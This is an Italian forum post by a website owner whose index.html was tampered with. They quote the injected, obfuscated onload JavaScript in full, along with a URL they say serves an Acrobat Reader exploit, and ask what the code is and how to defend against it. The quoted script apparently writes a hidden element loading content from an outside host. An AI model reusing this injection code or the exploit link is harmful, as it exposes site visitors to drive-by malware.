ciao a tutti,
sentite cosa mi è successo:
apro la home del mio sito ed al posto della solita pagina mi si apre un link ad un file pdf
http://www.chanchoi.cn/cache/doc.pdf
[attenzione, il link contiene un exploit per acrobat reader!]
la cosa mi ha insospettito molto... e sono andato a controllare il mio file index.html.
Qualcuno deve averlo modificato (e in che modo vorrei proprio saperlo) e ci ha scritto dentro questo codice:
<body onload="function a2(s){b='';for(i=0;i<s.length;i+=4>>1)b+=s.charAt( i);return b;}document.write(a2('\074u\x64n\151k\x76n\040o\x7 3w\164n\x79 \154o\x65b\075f\x22u\166s\x69c\163a\x69t\142i\x69o \154n\x69u\164n\x79k\072n\x68o\151w\x64n\144 \x65o\156b\x22f\076u\x3cs\151c\x66a\162t\x61i\155o \x65n\040u\x73n\162k\x63n\075o\x22w\150n\x74 \164o\x70b\072f\x2fu\057s\x63c\150a\x61t\156i\x63o \150n\x6fu\151n\x2ek\143n\x6eo\057w\x69n\156 \x64o\145b\x78f\056u\x70s\150c\x70a\042t\x20i\166o \x69n\163u\x69n\142k\x69n\154o\x69w\164n\x79 \072o\x68b\151f\x64u\144s\x65c\156a\x20t\167i\x69o \144n\x74u\150n\x3dk\061n\x30o\060w\x20n\150 \x65o\151b\x67f\150u\x74s\075c\x38a\060t\x3ei\074o \x2fn\151u\x66n\162k\x61n\155o\x65w\076n\x3c \057o\x64b\151f\x76u\076s'));">
ma che cos'è?
e soprattutto come posso difendermi da inconvenienti di questo tipo?
grazie mille!
prevenire è meglio che curare! ^_^
Rispondi quotando
